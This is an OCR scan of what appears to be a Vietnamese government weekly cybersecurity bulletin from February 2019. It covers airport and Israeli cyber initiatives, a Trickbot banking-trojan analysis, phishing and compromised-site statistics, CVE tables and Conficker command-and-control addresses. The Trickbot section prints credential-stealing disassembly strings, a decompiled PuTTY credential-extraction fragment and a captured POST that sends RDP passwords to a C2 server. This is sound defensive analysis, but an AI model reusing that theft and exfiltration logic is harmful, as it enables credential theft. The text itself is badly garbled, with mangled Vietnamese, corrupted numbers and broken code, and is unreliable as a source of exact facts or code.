BO THONG TIN VA TRUYEN THONG ~ CONG HOA XA HQI CHU NGHIA VIET NAM
CUC AN TOAN THONG TIN DPéc 1ap - Tw do - Hanh phic

S6:  /BC-CATTT Ha Noi, ngay  thang 02 nam 2019

TOM TAT ‘
Tinh hinh an toan thong tin dang chu y trong tuan 08/2019
(tir ngay 18/02/2019 den ngay 24/02/2019)

BANG TONG HQP

1. San bay Sydney chuan bi m¢ mot Trung tdm diéu hanh an toan, an ninh
mang (SOC) dé giam thiéu rui ro ngdy cang ting cta cac mdi de doa vi
pham dir li€u va thong tin. Giai doan dau tién cua Trung tdm SOC du kién s&
duoc hoan thanh vao thang 4/20109.

2. Israel cung cidp mot dudng diy nong (hotline) véi myc dich cung cip trg
gitip cho céc co quan, t6 chirc va ngudi dan gip phai van dé lién quan t6i tin
cong mang. Co quan, to chirc, doanh nghiép va ca nhan co6 thé bao céo vé
cac diém yéu, 16 hong an toan thong tin dang ngd va nhan duoc giai phap hd
trg thong qua duong day nong. Pay 1a mo hinh dau tién trén thé gidi vé tong
dai an toan thong tin, dugc tao ra béi Israel.

3. Trickbot - moét loai Banking Trojan da duoc stir dung mot thoi gian kha dai
dé tin cong nhiéu t6 chtrc ngan hang, tai chinh trén thé gidi. Vao khoang
thoi gian thang 11 nam 2018 da c6 nhiéu phan tich dé cap dén bién thé méi
ctia Trickbot di kém theo thanh phan danh cap mat khau (pwgrab).

4. Bao cao duoc xdy dung dua trén cac ngudn thong tin thu thip dugc tir hé

théng phan tich va chia sé nguy co tin cong mang Viét Nam
(https://ti.khonggianmang.vn). Thong tin chi tiét vé Hé thong tai Phu luc
kem theo.

1. Piém tin dang chi y

1.1. San bay Sydney dang chuan bi mé mot Trung tdm diéu hanh an toan,
an ninh mang (SOC) dé giam thiéu rui ro ngdy cang ting ctia cac moi de doa Vi
pham dit liéu va thong tin. Giai doan dau tién ctua Trung tim SOC du kién s&
duoc hoan thanh vao thang 4/2019.


https://ti.khonggianmang.vn/

Piéu nay cho thiy chinh phu Australia ngiy cang chu y téi cac van dé an
toan, an ninh mang va coi cac cudc tan cong mang 1a mot mbi de doa chinh téi
hoat dong cua san bay cing v6i cac moi de doa khac nhu tai nan may bay,
khung bé, bién d6i khi hau va mbi de doa chién tranh.

San bay Sydney hién dang hop tac chit ché voi chinh phu Australia vé an
ninh mang thong qua Trung tam an ninh mang chung (JCSC) va cling dang lam
viéc v6i Trung tdm phan tich va chia sé thong tin hang khong (ISAC) vé tinh
b4o an toan, an ninh mang hang khong toan cau. San bay Sydney sé tiép tuc dau
tu vao cong nghé trong nim nay dé ting trai nghiém cta khach hang cling nhu
kha ning phuc hoi hé théng va quan 1y rai ro mang. Viéc nang cap kha ning
phuc hdi cia hé théng va SOC ngay cang tré nén quan trong khi san bay tiép tuc
chuyén sang sir dung cac quy trinh tu dong va két ndi véi nhau.

1.2. Israel cung cip mot dudng day nong (hotline) véi muc dich cung cap
tro gitp cho cac co quan, to chitrc va ngudi dan gip phai van dé lién quan téi tin
cdng mang. C4C co quan, tO chirc, doanh nghiép va c4 nhan c6 thé bao céo vé
c4c diém yéu, 16 hong an toan thong tin dang ngd va nhan dugc giai phap hd tro
thong qua duong day néng. Pay 13 mé hinh dau tién trén thé gidi vé tong dai an
toan thong tin, dugc tao ra boi Israel.

Muc dich hotline nay 1a giam thiéu thiét hai nhanh nhat c6 thé, tim hiéu
vé cac moi de doa va pho bién kién thurc lién quan dén bao dam an toan thong
tin. Mot cudc tan cong mang co thé khong chi gio1 han ¢ thiét hai tai san hoac
tai chinh. NO ciing co6 thé giy de doa dén tinh mang. Trong mdt s6 trudng hop
co quan chirc ning s& cir cac nhém chuyén gia dén hd trg ngudi ding may tinh
bi 4nh hudng sau mot vai gio ké tir khi nhan duoc thong béo.

Hotline nay hién nay nhan dugc khoang 100 cudc goi hang ngay. Khoang
15% ngudi goi 1a “hacker mii tring” bao cdo vé nhitng diém yéu, 15 hong trong
cac hé thong ctia doanh nghiép hodc chinh phu va dé nghi xtr Iy trude khi cac hé
thong nay c6 thé bi tan cong.

1.3. Trickbot - mot loai Banking Trojan da dugc st dung mdt thoi gian
kha dai dé tin cong nhiéu to chirc ngan hang, tai chinh trén thé gidi. Vao khoang
thoi gian thang 11 nam 2018 da ¢ nhiéu phan tich dé cap dén bién thé moi cua
Trickbot di kém theo thanh phan danh cdp mat khau (pwgrab), cho phép danh
cip thong tin tir nhiéu ng dung (nhu Microsoft Outlook, Filezilla, WinSCP,
Google Chrome, Mozilla Firefox, Internet Explorer, Microsoft Edge). Vao cubi
thang 1 ndm 2019 nhitng béo cdo m&i cho thdy thanh phan méi nay (pwgrab)



con cho phép lay thong tin ding nhap tir xa va lay thong tin xac thyuc trong ca
nhitng tng dung Putty, RDP, VNC.

Cach thirc 1y nhiém ctia Trickbot:

An email using a tax
incentive-related header
with an excel attachment

is sent to the user

Clicking on the The macro downloads
attachment activates a and deploys Trickbot
malicious macro

i®

—_—
The pwgrab module It will send the stolen
grabs credentials from information to various
various applications C&C servers

Ma doc dugce gui qua email nguy trang dudi dang mot thong bao uvu dai
thué tir cong ty tai chinh 16n. Trong email dinh kém file Excel c¢6 chua chi tiét vé
vu dai thué. Khi ngudi ding mo tap tin nay thi Trickbot sau khi kich hoat.

FW: 2018 EF Tax Incentive Billing

- Deloitte <]
1/29/2019 12:44 AM

To:

& deloitte_tax_file28012019.xism
W 3281 kB

Please see the attached Tax Incentive billing

Tax Senior | Business Tax Services
Deloitte Tax LLP

@deloitteus.org>

This message (including any attachments) contains confidential information intended for a specific individual and purpose, and is protected by law. If you are not the
intended recipient, you should delete this message and any disclosure, copying, or distribution of this message, or the taking of any action based on it, by you is strictly

prohibited.
w1

Privacy Notice:This message is from Engineered Floors, LLC. The information contained in this message may be privileged and confidential and protected from disclosure. If
the reader of this message is not the intended recipient, or an employee or agent responsible for delivering this message to the intended recipient, you are hereby notified
that any dissemination, distribution or copying of this communication is strictly prohibited. If you have received this communication in error, please notify us immediately by

replying to this message and deleting it from your computer.

Email chwa tép dinh kem doc hai
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; DATA XREF: sub_180137F8+54Tr
; sub_188137F8+6DTr

; DATA XREF: sub_1808137F8+1CBTr
; sub_186137F8+1EATK

; DATA XREF: sub_10806137F8+46FTr

; sub_1868137F8+438Tr

DATA XREF: sub_1806137F8+667Tr
sub_180137F8+688Tr
DATA XREF: sub_1688137F8+89CTr
sub_108137F8+8BBTr

DATA XREF: sub_1808137F8+Aa371r

; sub_186137F8+a58Tr

; DATA XREF: sub_168137F8+BC1Tr

sub_1008137F8+BDATr

; DATA XREF: sub_168137F8+D3FTr

sub_180137F8+DSETr

DATA XREF: sub_180137F8+18B6Tr
sub_108137F8+16CFTr

:1868C1FA4 aChromeHistory db ‘chrome history’',8
:106C1FAL

:1868C1FB3 db 8

:106C1FB4 aChromePassword db ‘chrome passwords®,B8
:160C1FBA

:186C1FC5 db 8

:1080C1FC6 db 8

:186C1FC7 db 8

:1868C1FC8 aFirefoxPasswor db ‘firefox passwords®,8
:186C1FC8

:186C1FDA db 8

:186C1FDB db 8

:1806C1FDC aFirefoxHistory db ‘firefox history’',8
:188C1FDC

:180C1FEC alePasswords db °IE passwords’®,®
:1086C1FEC

:1686C1FF9 db 8

:186C1FFA db 8

:186C1FFB db 5}

:1868C1FFC aleHistory db 'IE history',8
:186C1FFC

:188C288087 db 8

:166C2008 aEdgePasswords db 'Edge passwords',8
:188C2008

:186C2617 align 4

:100C2618 aEdgeHistory db ‘Edge history',8
:166C2618

:188C2625 align 4

:160C2028 aPasswordsGrabf db ‘Passwords grab: allocation error',8
:186C20628

:1808C2028

:1868C2049 align 4

:186C264C aBrowserPasswor db ‘Browser passwords are empty’,8

Ma nguon trickbot danh cdp théng tin tir mot sé Trinh duyét

Bién thé moi nhat cia Trickbot b sung thém ba tinh niang méi 1a danh
cip ca thong tin dang nhap trong Virtual Network Computing (VNC), PuTTY
va Remote Desktop Protocol (RDP).

Pé trich xuit théng tin xac thuc tir PuTTY, Trickbot s& 14y thong tin tir
Registry Software\SimonTatham\Putty\Sessions dé x4c dinh nhing phién da luu
trong Putty, sau do trich xuat théng tin vé Hostname, Username va Khoa xéac

goto LABEL_181;

buf_to_buf(al

wial

ulb =

Wial

- 544, (a1 - 1368)):

= 4) = 18;

buf_to_buf{al - 348, &String2):
MR IR

sub_100CBAZE()
w2 = B8;

it = @; “Ca ) * Bx1330165E; /7 Hestname
®(al = 183) = xmmword_188ESETE: /# Software\SimonTatham\PFutty vE = 0
w(al - 87) = @x72666079: sl 108 o greemzars:
LI - L] 1

(a1 = 83) = Ox53TASSE1; u}!i.lo (1)
w(al = 78) = BxSE59; | [
(el = TT) = @; wlal + wé - Z21) T8 uB + uS
do if { ++uB >z 8 )

u(al + uiTe+ - 103) == 5 SR - 22)

while [ w37 < 8x1a )

u3g =

sub_10B0FBHB( (a1 - 256), u3E):

]
w(al - 13) = ®;
buf_to_buf{ai - 188, (ai

wial - 4) = 28; wlal - #) = 1;: TR
Uil = Bx23; . sub_100BE110( (a1 - 180)):
®(al = SB) = Ox46TOTF23; /f \Sessionsy u{al = 4) = O;
T sub_1000EICA(al < 180, @, 22);:
w(al = 52) = Gx4CYASOSE; ot STIg) + exiTerzTrR
i o - = : Ay
u.(ﬁl -(Ju:]}: BxTFSO4HD ; nE;:I - :s; s B:IF18!CBB: sormane
while uE = B
{ w(al = 1%) = 23;

Poan md ldy théng tin xdc thuwc trén Putty



POST ftDtiQDKDYIT—WIN?—XEE_WEI?EOI.FSED15235?58?FDD3921{B3E282A2E6E!81f HTTP/1.1
AcCcCept: ®/¥

UserEAgent: Mozilla/4.0 (compatible; MSIE 7.0; windows NT 6.1; Trident/4.0; SLCC2; .NET
CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC

6.0; .MNET4.0C; .NET4.0E; Inforath.2)

Host: 103.196.52.20

connection: close

Content-Type: multipart/form-data; boundary=--------- KDNFOMEPKPIVPVPS

Content-Length: 246

——————————— KDMFOMEPKPIVPVPS
Content-Disposition: form-data; name="source"

RDP passwords

——————————— KDNFOMEPKPIVPVPS——
HTTP/1.1 200 OK

connection: close

server: Cowboy

date: Mon, 28 Jan 2019 02:32:03 GMT
content-length: 3

Content-Type: text/plain

/1]

Guri théng tin xdc thiee RDP dén may chu diéu khién

Nhitng tinh ning mdi cap nhat vao Trickbot cho thiy dbi twong tin cong
ngay cang dau tu va phat trién ma doc nay, khong hé dimg lai sau nhiing loi ich
thu duoc. cia ho ma ngay cang cai thién no, lam cho né ngay cang doc hai va
nguy hiém hon.

Nguoi ding nén cha y dén nhiing email spam, dé y dén nhiing nguoi giri
dang ngd va ho cling khong nén mo cac tép dinh kém theo email trir khi ho chéc
chan rang d6 1a nhimg ngudn hop phap.

Thong tin k¥ thuat tham khao thém tai:

https://ti.khonggianmang.vn/dashboard/news/p/ma-doc-ngan-hang-
trickbot-cap-nhat-them-tin/

2. Tinh hinh tan cong gay nguy hai trén cac trang web tai Viét Nam

Qua theo ddi, trich xuét thong tin tir hé thong k¥ thuat thoi gian qua, Cuc
ATTT nhan thay trén khong gian mang dang ton tai nhiéu trang web Viét Nam
(bao gdom ca nhiing trang web st dung dich vu may chu nudc ngoai) bi tan cong,
loi dung dé thuc hién cac hanh vi gdy mat an toan théng tin nhu: phat tan thu
réc; tan cong tir chbi dich vu; cai dat va phat tan cac loai ma doc (gan day nhat la
cai dat va phat tan ma doc dé dao tién 40); luu trit cac ma khai thac diém yéu 15
hong mot cach tu dong (nhu 16 hong trén trinh duyét hay cac thanh phan mo
rong cua trinh duyét ma nguoi dung st dung .v.v...).

Trong tuan, Cuc ATTT ghi nhan c6 it nhat 47 duong dan (URL) trén cac
trang web tai Viét Nam bi tan cong, loi dung dé thuc hién cac hanh vi gay méat


https://ti.khonggianmang.vn/dashboard/news/p/ma-doc-ngan-hang-trickbot-cap-nhat-them-tin/
https://ti.khonggianmang.vn/dashboard/news/p/ma-doc-ngan-hang-trickbot-cap-nhat-them-tin/

an toan thong tin. Trong d6, théng k&, phan loai cac duong dan nay theo loai
ing dung may chu web ( 11S, Apache ...) va nha cung cap cu thé nhu sau:

Théng ké sb luong URL bj tin cong theo tmg dung may chu web

LiteSpeed h

Nginx

Microsoft-11S

Théng ké s6 lugng URL theo tén mién

30

27

25

20

15

10

vn .com.vn .edu.vn .com .info



3. Tinh hinh tan cong lira dao (Phishing) trong tuan

3.1. Qua thu thap, theo ddi, trich xudt tir hé thong k¥ thuat, Cuc ATTT
con ghi nhan c6 it nhit 62 trang web dit tai Viét Nam bj loi dung dé thuc hién
tan cong Phishing trong tuan.

Théng ké s luong céac trang web phishing trong tuan

11

v

B SUPERDATA B VNPT m Viettel ®m FPT BCMC mODS = DVS = QTSC = GMO-Z = Té& chirc khac

3.2. Trén thé gi6i c6 nhidu cac trang web gia mao cac t6 chirc, doanh
nghi¢p, nha cung cép, dich vu 16n nhu: Cac mang xa hoi, ngan hang, thu di¢n

tor..v.v...

Top 10 nha cung cép, dich vu bi gid mao nhiéu nhét trong tuan
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250
200 195 187 172 166
150
100
50
0

A
8@ {6? \Oo\l- ‘\QQ’ \(\(' %olb ’{.\0(\ \(\0 \\Q Q}('Q/
< « o> 2 & & & g & &
53" Q? K & & Qo‘(\
NA C C N
& & <@ +°
R Q,b QO
A ®
\'/\Q
N PayPal M Bank of America Outlook M Stripe
M PayPal Inc. H Alibaba M LinkedIn Corporation M Facebook, Inc.
B Yahoo! Inc H Bank of Commerce

Viét Nam c6 nhiéu nguoi dung cac dich vy, Gmg dung nudc ngoai (ca
mién phi va c6 phi) nhu cidc mang xa hoi, Dropbox, Paypal ..v.v... vi vdy ngudi



dung can phai hét stuc canh giac voi nhitng trang web gia mao dé an trom tai
khoan.

4. L$ hong/diém yéu an toan thong tin trong tuan
4.1. Trong tuan, cac t6 chirc qudc té di cong bd va cap nhat it nhat 255 18
hong, trong d6 c¢6 31 16 hong mirc cao, 118 16 hong murc trung binh, 14 16 hong

murc thap va 92 16 hong chua danh gia; 05 16 hong da c6 ma khai thac.

4.2. Hé thoéng k¥ thuat cia Cuc An toan thong tin chi dong ra quét trén
khong gian mang Viét Nam, danh gia, thong ké cho thay c6 05 nhom 16 hong
trén cac san pham, dich vu CNTT pho bién, c6 thé giy anh huong 16n dén ngudi
dung ¢ Viét Nam, nhu: Nhém 13 16 hong trén mot s6 san pham, Gng dung cia
Cisco, nhom 29 15 hong trén trinh duyét Chrome ...v.v.

4.3. Chi tiét vé thong tin mot sd 16 hong trén cac san pham/dich vu phd

bién tai Viét Nam cu thé nhu sau:

San pham/

STT dich vu

Mai 16i quoc té M6 ti ngin Ghi chu

Nhém 13 15 hong trén mot
sé san pham, ung dung cua
Cisco (HyperFlex Software,
Firepower 9000, Network
Convergence System 1000
CVE-2018-15380 Series, _ Cisco Prime
_ CVE-2019-1664 Collabqratlen Assurﬂancg...)
1 Cisco CVE-2019-1700 cho_phep doi tuong tan cong

khai thac Ioi XSS chuyén
huéng ngudi dung dén trang
web doc hai, thu thap thong
tin trén hé théng dich, mot
s6 16 hong cho phép thuc thi
lénh véi quyén nguoi ding
cao nhat trén hé thong

ba co
thong tin
xac thuc
va ban va

L6 hong phét hign trén cac
thiét bi D-Link DIR-823G |y

co

hién ban fi 1.02B03| o ..

o o ke i oo s xg thong _tr

2 | D-Link |CVE-2019-8392 phep 9 x&4c nhan

kich hoat ché d6 Wi-Fi| .- =~ ¢
Guest thong qua Apl|vabanva
SetWLanRadioSinstall
HNAP.



https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-8392
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-8392

CVE-2019-5754
CVE-2019-5755
CVE-2019-5783

Nhém 29 18 hong trén
Google Chrome cho phép
d6i tuogng tan cong dua trén
1 trang HTML hoac file PDF
tu tao dé thu thap théng tin,
chén va thuc thi ma 1énh, tan
cong leo thang.

Chuva c¢o
ban va

CVE-2018-1701
CVE-2018-1727
CVE-2017-1695
CVE-2019-4059

Nhém 04 16 hong trén mot
sd san pham, ung dung cua
IBM (InfoSphere
Information Server, Rational
ClearCase) cho phép d6i
tuong tan cong thuc hién
mot sd hinh thuc tin cong
gom: giai md dir liéu (do st
dung giai thuat ma hoa yéu),
thu thap thong tin quan
trong, bao gébm ca co so dit
lidu luu trit mat khau thong
gua cac connector.

ba co
thong tin
Xac nhan

3 Google
Chrome

4 IBM

5 Cisco

CVE-2018-15380
CVE-2019-1664
CVE-2019-1700

Nhom 13 16 hong trén mot
s6 san pham, tng dung cua
Cisco (HyperFlex Software,
Firepower 9000, Network
Convergence System 1000
Series, Cisco Prime
Collaboration Assurance...)
cho phép dbi tuong tin cong
khai thac 15i XSS chuyén
huéng ngudi dung dén trang
web doc hai, thu thap thong
tin trén hé théng dich, mot
s6 16 hong cho phép thuc thi
lénh véi quyén nguoi ding
cao nhat trén hé thong

ba co
thong tin
Xac thuc
va ban va

5. Hoat @dng mot s6 mang botnet, APT, mi doc tai Viét Nam
5.1. Mang botnet Conficker

Mang botnet Conficker dugc phat hién tu thang 10/2008. Ma doc nay
dugc thiét ké nham vao hé diéu hanh Microsoft Windows. Khi ma doc nay lay

nhiém vao mot may tinh, thi may tinh ndy tham gia vao mang botnet va co thé bi

diéu khién dé giri thu rdc (spam) va tan cong cac hé thong khac. Nhitng may tinh



https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-5754
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-5755
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-5783
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2018-1701
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2018-1727
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2017-1695
https://nvd.nist.gov/nvd.cfm?cvename=CVE-2019-4059

bi lay nhiém déu khong truy cap dugc cac website lién quan dén phan mém diét
virus hay dich vu c@p nhat cia h¢ Windows (Windows Update).

Maic du mang botnet Conficker xuét hién tir nam 2008, loi dung 15 héng
cli (MS 08-067), da c6 ban va bao mat, tuy nhién tai Viét Nam, sb lugng may
tinh nam trong mang botnet Conficker van con rt nhiéu trong tudn ma Cuc An
toan thong tin dang theo dai.

Thong ké s6 lugng IP nam trong mang botnet Conficker
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5.2. Danh sach IP/tén mién may chu diéu khién ctia mang botnet Conficker

TT Tén mién/IP

104.244.14.252
104.244.14.253
38.229.141.123
38.229.145.115
38.229.156.73

38.229.170.101
38.229.173.187
38.229.179.247
38.229.134.237
38.229.144.129
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5.3. Danh sach IP/tén mién doc hai c6 nhiéu két ndi tir Viét Nam

Tén mién/IP

_|
_|
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n.hmiblgoja.ru

ajkeahkcueafuiaeuf.ru
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mel.cloudcontentsmak.com
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6. Khuyén nghi ddi véi cac co quan, don vi

Nham bao dam an toan thong tin trong hé thong mang cila cic co quan, to
chtrc, Cuc An toan thong tin khuyén nghi:

- Nham tranh viéc bi cac dbi tuong tdn coéng loi dung cac trang web dé
thuc hién cac hanh vi gy mat an toan thong tin nhu d néu trong muc 2, Cac co
quan to chtic can phai thuong xuyén kiém tra, ra soat may chu web dé kip thoi
phat hién va cdp nhat cac diém yéu, 16 hong trén cac mdy chu web thudc co
quan, to chirc minh

- Ngudi dung can phai hét sire canh giac voi nhitng trang web gia mao dé
an trom tai khodn, dac biét 1a cac trang web gia mao cac ung dung, dich vu phé
bién nhu di néu trong muc 3.2 bao céo nay.

- Theo ddi va cép nhat ban va cho céc 16 hong, dic biét 1a 16 hong néu tai
muc 4.3 bao cao nay.

- Chu dong kiém tra, ra soét, boc g0 ma doc ra khéi h¢ théng mang. Cuc
An toan san sang phdi hop véi cac co quan to chire tién hanh kiém tra va boc g&
ma doc botnet trén hé théng cua co quan don vi. Pé xac minh cac may tinh bi
nhiém ma doc botnet, Quy don vi c6 thé lién hé véi Cuc An toan thong tin theo
thong tin bén dudi dé phdi hop thuc hién.

- Kiém tra va xir Iy cac thiét bi trong toan bo hé théng mang néu c6 dau
hiéu két ndi dén cac tén mién ddc hai Cuc An toan thong tin da chia sé, dac biét
1a cAc tén mién d3 néu trong muc 5.2 va 5.3 b&o co nay.
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Thong tin lién hé Cuc An toan thong tin, ting 8, s6 115 Tran Duy Hung,
quan Cau Gidy, TP. Ha Noi; sb dién thoai: 024.3943.6684; thu dién tir

ais@mic.gov.vn.
Tran trong./.

Noi nhdn:

- Bo truong va cac Thir truong (dé b/c);

- Thu ky Lanh dao Bo;

- Bon vi chuyén trach vé CNTT cac bo, nganh;
-S& TT&TT cac tinh, thanh phé true thuéec TW;
- Cuc KSTTHC, Vén phong Chinh ph;

- Vu Khoa gido - Van xa, Van phong Chinh phu;

- Trung tdm CNTT, Van phong Trung wong Dang;

- Trung tdm CNTT, Van phong Quoc Hoi;

- Trung tdm CNTT, Van phong Chu tich nudc;
- Cac Tap doan kinh té; Téng cong ty nha nudc;
T4 chire tai chinh va Ngan hang;

- Co quan, don vi thugc Bo;

- Lanh dao Cuc;

- Luu: VT, NCSC.
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KT. CUC TRUONG
PHO CUC TRUONG

(email)

Nguyén Huy Diing



PHU LUC

Hé thong phan tich va chia sé nguy co tin cong mang Viét Nam

https://ti.khonggianmang.vn

Phishing cases

HE THONG PHAN TiCH
VA CHIA SE NGUY CO
TAN CONG MANG VIET NAM

Vietham Threat Intelligence Portal

GIGI THIEU VE HE THONG

Hé théng phan tich va chia sé nguy co tdn cong mang Viét Nam la hé théng cho phép
thu thap, phan tich va chia sé théng tin truc tiép vé ddu hiéu, nguy co va cudc tan
cong mang dang xay ra trén hé théng ctia cac co quan, don vi. Muc tiéu clia hé théng
nham tang cuong viéc két noi chia sé thong tin gilra cac co quan, don vi, toé chuc.

PIEM NOI BAT CUA HE THONG

Khi truy cap vao hé théng, cac co quan, don vj sé dugc chia sé cac thong tin theo thai gian
thyrc vé: cac dau hiéu, hinh thirc tdn cong mang trén hé théng thong tin cia minh dugc

Cuc An toan théng tin téng hgp, phan tich va xtr ly tir nhiu t6 chirc trén thé gidi.

@ Capnhatlién tuc nguy co tan cdng mang:

khiér XC, IP, Hash @dc hai (APT, Botnet, Phish

au o Viet -]

@ Giam sat va canh bao sém tan cong mang: Giam

THONG TIN LIEN HE

Email: ais@mic.govvn | Website: Khonggianmang.vn
Phone: +84 24 3209 6789 | Fax: +84 24 3209 6789
Address: Tang 8 - 115 Tran Duy Hung - Cau Gidy - Ha NGi
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THONG TIN CAP NHAT

Hé théng lién tuc cap nhat va chia
sé cac thdng tin vé nguy co tan cdng
mang déi véi Viét Nam.

</

DU LIEU PA DANG

Dir liéu dugc téng hop tir cac té chirc
Qudc té, Viét Nam, tir cac sensor,
honeypot,...

<

CANH BAO TUC THi

Hé théng canh bao sdm cac tan cong
va canh béo cac két néi bat thudng
tir hé théng mang té chuc.



https://ti.khonggianmang.vn/
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CAC NOI DUNG CUA

DICH VU

HOAT PONG CUA CHUNG TOI

Al

Giam sat ATTT

Canh bao sém ATTT

HOo tro cac to chirc canh bao sém Thure hién cung cap dich vu giam

cac nguy co tan cong mang. sat ATTT tir xa va tong the.

ORGANIZATION

Danh cho T6 chuc

GOVERMENT

Danh cho cd quan Chinh phu

Panh gia ATTT

Ung dung, Ha tang, Kién truc...

Xt ly tdn céng mang

Cung cap dich vu danh gid ATTT tr  H6 trg xr ly tdn cédng mang cuc bo

va trén dién rong cho cac to chirc.

ENTERPRISE

Danh cho Doanh nghiép

e Danh sach may chu diéu khién
doc hai.

e Danh sach IP doc hai.

e Danh sach ma hash doc hai.

¢ Danh sach website |lra dao.

e Thong tin ATTT cap nhat.

e Bio cdo téng hop hang tuan.

o Day du théng tin cua tai khoan
Organization.

e Cap nhat diém yéu, 16 hdng nguy
hiém va phé bién dai vai Viét Nam.
e Giam sat tinh trang Up/Down
ctia hé théng.

o Giam sat va canh bao vé ma
doc/ backlink trén Website.

e Canh bao cac tan cong mang vao
hé théng cong khai ctia té chirc.

e Canh bao cac két ndi bat
thudng, dang ngd tir hé théng clia
té chirc.

e Canh bao turc thi qua Email.

e Hb tro ky thuat qua Email

LIEN HE DANG KY SU DUNG:

e Pay du théng tin cla tai khoan
Goverment.

e Danh sach domain ddc hai C&C
dugc str dung tan céng APT vao
Viét Nam.

e Danh sach IP, Hash st dung tan
cong c6 chu dich APT vao Viét
Nam.

e Cap nhat cac thong tin co lién
quan dén toé chirc, website gid mao
t6 chirc...néu co.

e Cap nhat cac tin tirc, phan tich
ky thuat méi nhat vé tan cong cé
cht dich APT.

¢ Danh gia cac diém yéu, 16 hong
bao mat dinh ky déi vdi cac hé
théng cong khai (IP va Domain)
clia to churc.

e Canh bao tirc thi qua SMS.

o Hb tro ky thuat qua Email.

o Hb tro ky thuat Hotline.

Email: ais@mic.gov.vn | Website: Khonggianmang.vn | Phone: +84 2
Address: 115 - Tran Duy Hung - Cau Giay - Ha Noi
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